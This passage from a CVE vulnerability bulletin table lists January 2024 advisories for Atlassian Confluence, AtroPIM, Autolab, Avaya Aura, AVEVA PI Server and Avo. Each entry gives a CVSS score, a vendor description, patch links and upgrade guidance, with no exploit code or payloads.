('Injection')			Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian's January Security Bulletin. **CVE ID : CVE-2023-22527**		
Affected Version(s): From (including) 8.7.0 Up to (excluding) 8.7.2					
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity RCE (Remote Code Execution) vulnerability was introduced in version 7.19.0 of Confluence Data Center. This RCE (Remote Code Execution) vulnerability, with	https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615	A-ATL-CONF-130224/120

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			a CVSS Score of 7.2, allows an authenticated attacker to execute arbitrary code which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires no user interaction. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center and Server 7.19: Upgrade to a release 7.19.17, or any higher 7.19.x release Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release Confluence Data Center and Server 8.7: Upgrade to a		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			release 8.7.2 or any higher release See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was discovered by m1sn0w and reported via our Bug Bounty program **CVE ID : CVE-2023-22526**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 2.1.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.3	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/121

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H allows an unauthenticated attacker to remotely expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21672**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in versions 7.13.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.0 and a CVSS Vector	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/122

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H allows an authenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21673**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	7.5	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 7.13.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.6 and a CVSS Vector of	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/123

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N allows an unauthenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, no impact to integrity, no impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21674**		
Product: confluence_server					
Affected Version(s): From (including) 8.0.0 Up to (excluding) 8.5.4					
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	16-Jan-2024	9.8	A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.	https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615	A-ATL-CONF-130224/124

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian's January Security Bulletin. **CVE ID : CVE-2023-22527**		
Affected Version(s): From (including) 8.5.0 Up to (excluding) 8.5.5					
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity RCE (Remote Code Execution) vulnerability was introduced in version 7.19.0 of Confluence Data Center. This RCE (Remote Code Execution) vulnerability, with a CVSS Score of 7.2, allows an authenticated attacker to execute	https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615	A-ATL-CONF-130224/125

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary code which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires no user interaction. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center and Server 7.19: Upgrade to a release 7.19.17, or any higher 7.19.x release Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was discovered by m1sn0w and reported via our Bug Bounty program **CVE ID : CVE-2023-22526**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 2.1.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.3 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H allows an unauthenticated	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/126

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to remotely expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21672**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in versions 7.13.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.0 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H allows an authenticated attacker to expose	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/127

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21673**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	7.5	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 7.13.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.6 and a CVSS Vector of CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N allows an unauthenticated attacker to expose assets in your environment	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/128

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			susceptible to exploitation which has high impact to confidentiality, no impact to integrity, no impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21674**		
Affected Version(s): From (including) 7.19 Up to (excluding) 7.19.17					
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity RCE (Remote Code Execution) vulnerability was introduced in version 7.19.0 of Confluence Data Center. This RCE (Remote Code Execution) vulnerability, with a CVSS Score of 7.2, allows an authenticated attacker to execute arbitrary code which has high impact to confidentiality, high impact to integrity, high	https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615	A-ATL-CONF-130224/129

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			impact to availability, and requires no user interaction. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center and Server 7.19: Upgrade to a release 7.19.17, or any higher 7.19.x release Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was discovered by m1sn0w and reported via our Bug Bounty program **CVE ID : CVE-2023-22526**		
Affected Version(s): From (including) 7.19 Up to (excluding) 7.19.18					
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 2.1.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.3 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H allows an unauthenticated attacker to remotely expose assets in your environment susceptible to	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/130

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21672**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in versions 7.13.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.0 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H allows an authenticated attacker to expose assets in your environment susceptible to exploitation which	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/131

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			has high impact to confidentiality, high impact to integrity, high impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21673**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	7.5	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 7.13.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.6 and a CVSS Vector of CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N allows an unauthenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, no	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/132

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			impact to integrity, no impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21674**		
Affected Version(s): From (including) 8.7.0 Up to (including) 8.7.2					
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity RCE (Remote Code Execution) vulnerability was introduced in version 7.19.0 of Confluence Data Center. This RCE (Remote Code Execution) vulnerability, with a CVSS Score of 7.2, allows an authenticated attacker to execute arbitrary code which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires no user interaction.	https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615	A-ATL-CONF-130224/133

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center and Server 7.19: Upgrade to a release 7.19.17, or any higher 7.19.x release Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atla		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			ssian.com/software/confluence/download-archives]). This vulnerability was discovered by m1sn0w and reported via our Bug Bounty program **CVE ID : CVE-2023-22526**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 2.1.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.3 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H allows an unauthenticated attacker to remotely expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/134

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			availability, and requires user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21672**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in versions 7.13.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.0 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H allows an authenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/135

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21673**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	7.5	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 7.13.0 of Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.6 and a CVSS Vector of CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N allows an unauthenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, no impact to integrity, no impact to availability, and does not require user interaction.	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/136

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21674**		
Vendor: atrocore					
Product: atropim					
Affected Version(s): 1.8.4					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	6.1	A vulnerability, which was classified as problematic, was found in AtroCore AtroPIM 1.8.4. This affects an unknown part of the file /#ProductSerie/view/ of the component Product Series Overview. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251481 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did	N/A	A-ATR-ATRO-130224/137

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not respond in any way. **CVE ID : CVE-2024-0696**		
Vendor: autolabproject					
Product: autolab					
Affected Version(s): * Up to (excluding) 2.12.0					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	22-Jan-2024	6.5	Autolab is a course management service that enables instructors to offer autograded programming assignments to their students over the Web. Path traversal vulnerabilities were discovered in Autolab's assessment functionality in versions of Autolab prior to 2.12.0, whereby instructors can perform arbitrary file reads. Version 2.12.0 contains a patch. There are no feasible workarounds for this issue. **CVE ID : CVE-2023-44395**	https://github.com/autolab/Autolab/security/advisories/GHSA-h8wq-ghfq-5hfx	A-AUT-AUTO-130224/138
Vendor: Avaya					
Product: aura_experience_portal					
Affected Version(s): From (including) 8.0.0 Up to (excluding) 8.1.2.0.0402					
Authorization Bypass Through	17-Jan-2024	4.3	Insecure Direct Object Reference vulnerabilities	https://support.avaya.com/css/	A-AVA-AURA-130224/139

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
User-Controlled Key			were discovered in the Avaya Aura Experience Portal Manager which may allow partial information disclosure to an authenticated non-privileged user. Affected versions include 8.0.x and 8.1.x, prior to 8.1.2 patch 0402. Versions prior to 8.0 are end of manufacturer support. **CVE ID : CVE-2023-7031**	public/documents/101088063	
Vendor: aveva					
Product: pi_server					
Affected Version(s): * Up to (excluding) 2018					
Improper Handling of Exceptional Conditions	18-Jan-2024	7.5	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated user to remotely crash the PI Message Subsystem of a PI Server, resulting in a denial-of-service condition.	N/A	A-AVE-PI_S-130224/140

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-34348		
Missing Release of Resource after Effective Lifetime	18-Jan-2024	5.3	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated user to cause the PI Message Subsystem of a PI Server to consume available memory resulting in throttled processing of new PI Data Archive events and a partial denial-of-service condition. **CVE ID : CVE-2023-31274**	N/A	A-AVE-PI_S-130224/141
Affected Version(s): 2018					
Improper Handling of Exceptional Conditions	18-Jan-2024	7.5	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated	N/A	A-AVE-PI_S-130224/142

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			user to remotely crash the PI Message Subsystem of a PI Server, resulting in a denial-of-service condition. **CVE ID : CVE-2023-34348**		
Missing Release of Resource after Effective Lifetime	18-Jan-2024	5.3	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated user to cause the PI Message Subsystem of a PI Server to consume available memory resulting in throttled processing of new PI Data Archive events and a partial denial-of-service condition.	N/A	A-AVE-PI_S-130224/143

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-31274		
Affected Version(s): 2023					
Improper Handling of Exceptional Conditions	18-Jan-2024	7.5	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated user to remotely crash the PI Message Subsystem of a PI Server, resulting in a denial-of-service condition. **CVE ID : CVE-2023-34348**	N/A	A-AVE-PI_S-130224/144
Missing Release of Resource after Effective Lifetime	18-Jan-2024	5.3	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated user to cause the PI Message Subsystem of a PI Server to consume available memory resulting in throttled	N/A	A-AVE-PI_S-130224/145

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			processing of new PI Data Archive events and a partial denial-of-service condition. **CVE ID : CVE-2023-31274**		
Vendor: avohq					
Product: avo					
Affected Version(s): * Up to (excluding) 2.47.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	Avo is a framework to create admin panels for Ruby on Rails apps. A stored cross-site scripting (XSS) vulnerability was found in the key_value field of Avo v3.2.3 and v2.46.0. This vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser. The value of the key_value is inserted directly into the HTML code. In the current version of Avo (possibly also older versions), the value is not properly sanitized before it	https://github.com/avo-hq/avo/commit/51bb80b181cd8e31744bdc4e7f9b501c81172347, https://github.com/avo-hq/avo/commit/fc92a05a8556b1787c8694643286a1afa6a71258, https://github.com/avo-hq/avo/security/advisories/GHSA-ghjv-mh6x-7q6h	A-AVO-AVO-130224/146

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			is inserted into the HTML code. This vulnerability could be used to steal sensitive information from victims that could be used to hijack victims' accounts or redirect them to malicious websites. Avo 3.2.4 and 2.47.0 include a fix for this issue. Users are advised to upgrade. **CVE ID : CVE-2024-22191**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	Avo is a framework to create admin panels for Ruby on Rails apps. In Avo 3 pre12, any HTML inside text that is passed to `error` or `succeed` in an `Avo::BaseAction` subclass will be rendered directly without sanitization in the toast/notification that appears in the UI on Action completion. A malicious user could exploit this vulnerability to trigger a cross site scripting attack on an unsuspecting user. This issue has been addressed in	https://github.com/avo-hq/avo/commit/51bb80b181cd8e31744bdc4e7f9b501c81172347, https://github.com/avo-hq/avo/commit/fc92a05a8556b1787c8694643286a1afa6a71258, https://github.com/avo-hq/avo/security/advisories/GHSA-g8vp-2v5p-9qfh	A-AVO-AVO-130224/147

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the 3.3.0 and 2.47.0 releases of Avo. Users are advised to upgrade. **CVE ID : CVE-2024-22411**		
Affected Version(s): 3.0.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	Avo is a framework to create admin panels for Ruby on Rails apps. In Avo 3 pre12, any HTML inside text that is passed to `error` or `succeed` in an `Avo::BaseAction` subclass will be rendered directly without sanitization in the toast/notification that appears in the UI on Action completion. A malicious user could exploit this vulnerability to trigger a cross site scripting attack on an unsuspecting user. This issue has been addressed in the 3.3.0 and 2.47.0 releases of Avo. Users are advised to upgrade. **CVE ID : CVE-2024-22411**	https://github.com/avo-hq/avo/commit/51bb80b181cd8e31744bdc4e7f9b501c81172347, https://github.com/avo-hq/avo/commit/fc92a05a8556b1787c8694643286a1afa6a71258, https://github.com/avo-hq/avo/security/advisories/GHSA-g8vp-2v5p-9qfh	A-AVO-AVO-130224/148
Affected Version(s): From (including) 3.0.0 Up to (excluding) 3.3.0					
Improper Neutralization of	16-Jan-2024	5.4	Avo is a framework to create admin panels for Ruby on	https://github.com/avo-hq/avo/commit	A-AVO-AVO-130224/149

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
